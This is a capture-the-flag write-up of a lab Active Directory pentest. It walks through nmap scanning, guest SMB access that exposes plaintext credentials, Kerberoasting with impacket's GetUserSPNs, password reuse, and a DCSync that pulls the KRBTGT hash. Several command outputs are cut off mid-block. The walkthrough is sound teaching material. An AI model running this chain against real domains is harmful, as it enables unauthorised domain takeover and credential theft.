

Active Directory challenge MartiniAD-HackSmarter

Objective

A beverage company "Martini Bars" recently had a corporate breach and the compliance and risk team dictates they perform a penetration test at one of their branch offices. The Hack Smarter team has been authorized to perform an internal black box pentest.

Initial Access

The client has provided you with VPN access to their internal network, but no credentials.

```
wizard-zero@Wiz-Zero:~$ sudo openvpn hacksmarter.ovpn
[sudo] password for wizard-zero:
2026-05-14 17:41:45 OpenVPN 2.6.19 x86_64-pc-linux-gnu [SSL (OpenSSL)] [LZO]
[LZ4] [EPOLL] [PKCS11] [MH/PKTINFO] [AEAD] [DCO]
2026-05-14 17:41:45 library versions: OpenSSL 3.0.13 30 Jan 2024, LZ0 2.10
2026-05-14 17:41:45 DCO version: N/A
2026-05-14 17:41:50 TCP/UDP: Preserving recently used remote address:

2026-05-14 17:41:51 Initialization Sequence Completed
```

Enumeration

We begin with enumerating the running services on the target:

```
wizard-zero@Wiz-Zero:~$ sudo nmap -sS -p- --min-rate 5000 10.1.79.116 -Pn
[sudo] password for wizard-zero:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-05-14 17:47 CET
Nmap scan report for 10.1.79.116
Host is up (0.21s latency).
Not shown: 65524 filtered tcp ports (no-response)
PORT      STATE SERVICE
53/tcp    open  domain
88/tcp    open  kerberos-sec
```

```

135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
3389/tcp open ms-wbt-server
5985/tcp open wsman
9389/tcp open adws

```

Nmap done: 1 IP address (1 host up) scanned in 29.57 seconds

Add the target DC to /etc/hosts to avoid any DNS issues.

After attempting to enumerate shares, we discover that Guest/Null session is allowed and an interesting notes share, but no permissions.

```

wizard-zero@Wiz-Zero:~$ nxc smb 10.1.79.116 -u '' -p '' --shares
SMB      10.1.79.116      445      DC01      [*] Windows 11 / Server 2025 Build 26100 x64 (name:DC01) (domain:DRY.MARTINI
.BARS) (signing:False) (SMBv1:None)
SMB      10.1.79.116      445      DC01      [+] DRY.MARTINI.BARS\
SMB      10.1.79.116      445      DC01      [*] Enumerated shares
SMB      10.1.79.116      445      DC01      Share      Permissions      Remark
SMB      10.1.79.116      445      DC01      -----
SMB      10.1.79.116      445      DC01      ADMIN$      Remote Admin
SMB      10.1.79.116      445      DC01      C$      Default share
SMB      10.1.79.116      445      DC01      IPC$      Remote IPC
SMB      10.1.79.116      445      DC01      NETLOGON      Logon server share
SMB      10.1.79.116      445      DC01      notes
SMB      10.1.79.116      445      DC01      SYSVOL      Logon server share

```

We try again as guest and discover that we have R/W permissions over notes share.

```

wizard-zero@Wiz-Zero:~$ nxc smb 10.1.79.116 -u guest -p '' --shares
SMB      10.1.79.116      445      DC01      [*] Windows 11 / Server 2025 Build 26100 x64 (name:DC01) (domain:DRY.MARTINI

- Order more gin for lakeside
- Look for an engagement ring
- Check that notes works from Linux Mint

creds
mprice:*martini*wizard-zero@Wiz-Zero:~$
```

The credentials obtained

```
mprice:*martini*
```

We verify them and try to enumerate the shares:

```
wizard-zero@Wiz-Zero:~$ nxc smb DC01.DRY.MARTINI.BARS -u mprice -p '*martini*' --shares
SMB      10.1.79.116      445      DC01      [*] Windows 11 / Server 2025 Build 26100 x64 (name:DC01) (domain:DRY.MARTINI.BARS) (signing:False) (SMBv1:None)
SMB      10.1.79.116      445      DC01      [+] DRY.MARTINI.BARS\mprice:*martini*
SMB      10.1.79.116      445      DC01      [*] Enumerated shares
SMB      10.1.79.116      445      DC01      Share      Permissions      Remark
SMB      10.1.79.116      445      DC01      ----      -

```

Privilege Escalation

Now we attempt to perform privilege escalation with user by kerberoasting, I used an impacket binary `GetUserSPNs`, this allows to acquire the hash for the discovered user earlier

ATHENA_SVC

```
wizard-zero@Wiz-Zero:~$ GetUserSPNs.py DRY.MARTINI.BARS/mprice:'*martini*' -dc-ip 10.1.79.116 -request
Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies

Objective obtained

Looking at the discovered usernames earlier there was a similar user "athena.t0", worth checking if there is credentials reuse

```
wizard-zero@Wiz-Zero:~$ nxc smb 10.1.79.116 -u 'athena.t0' -p 'dirtymartini' --shares

wizard-zero@Wiz-Zero:~$
```

The same credentials are used for athena.t0 which is the local admin account, we have premissions that allow to extract the KRBTGT NT system hash resulting in machine compromise.

```

We successfully compromise the domain controller and gain system level access using the obtained hash.

Summary

- We started with a simple Nmap scan of the domain controller and found a Windows Server 2025 box running all the usual AD services. The first thing that stood out was SMB signing being disabled.
- After poking at the SMB shares with a null session and found a share called `notes`. Inside was a text file that gave us the password for a domain user named `mprice`. Not exactly Fort Knox.
- With `mprice` credentials in hand, we ran a Kerberoasting attack against the service account `ATHENA_SVC` and pulled back a hash. A quick run through Hashcat cracked it.
- We tried that same password on the other similar user we'd found, and `athena.t0` logged right in with it. That account turned out to have full admin access to the domain controller's `C$` and `ADMIN$` shares basically Domain Admin privileges.
- From there, we ran DCSync and pulled the objective: the KRBTGT hash. With that, you can forge Golden Tickets and become anyone in the domain, anytime you want.
- The whole chain came down to one weak password being reused across the accounts, and the service account that was ripe for Kerberoasting, and the rest followed.
